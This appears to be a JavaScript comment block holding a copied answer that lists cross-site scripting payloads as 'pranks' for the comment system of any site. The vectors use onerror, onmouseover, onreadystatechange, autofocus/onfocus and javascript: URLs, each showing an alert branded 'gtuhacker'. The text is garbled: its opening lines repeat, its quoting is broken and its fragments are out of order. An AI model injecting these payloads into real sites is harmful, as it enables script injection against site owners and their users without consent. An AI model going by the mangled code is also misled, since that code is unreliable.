/*
Some Javascript pranks you can do with comment system on any site
Here are some more you can try. I betcha that one of these will work (in fact, I bet that the first one will work, and then you can stop reading):"
Some Javascript pranks you can do with comment system on any site
Here are some more you can try. I betcha that one of these will work (in fact, I bet that the first one will work, and then you can stop reading):"
· Try
<img src="" onerror="alert("Welcome to gtuhacker")">
. No user interaction involved.· You're giving up too easily on
onmouseover
. Create a giant element that covers most of the page, and then use onmouseover
. While technically user interaction is involved, I think you can make it almost automatic.· Try
onreadystatechange
, e.g., <iframe onreadystatechange=alert("
Welcome to gtuhacker")>
. It is IE-only (IE7 and later, I think) but· Try
onfocus="alert(0)" autofocus
, e.g., <input autofocus onfocus=alert(0)>
. I don't know if this will work.· On Opera, try
Note that these techniques are likely to be highly browser-dependent."<table background=javascript:alert("
Welcome to gtuhacker")>
. Try <img src="javascript:alert("Welcome to gtuhacker")">
and <iframe src="javascript:alert("
Welcome to gtuhacker")">
(unlikely to work on most browsers, but you can try it).*/
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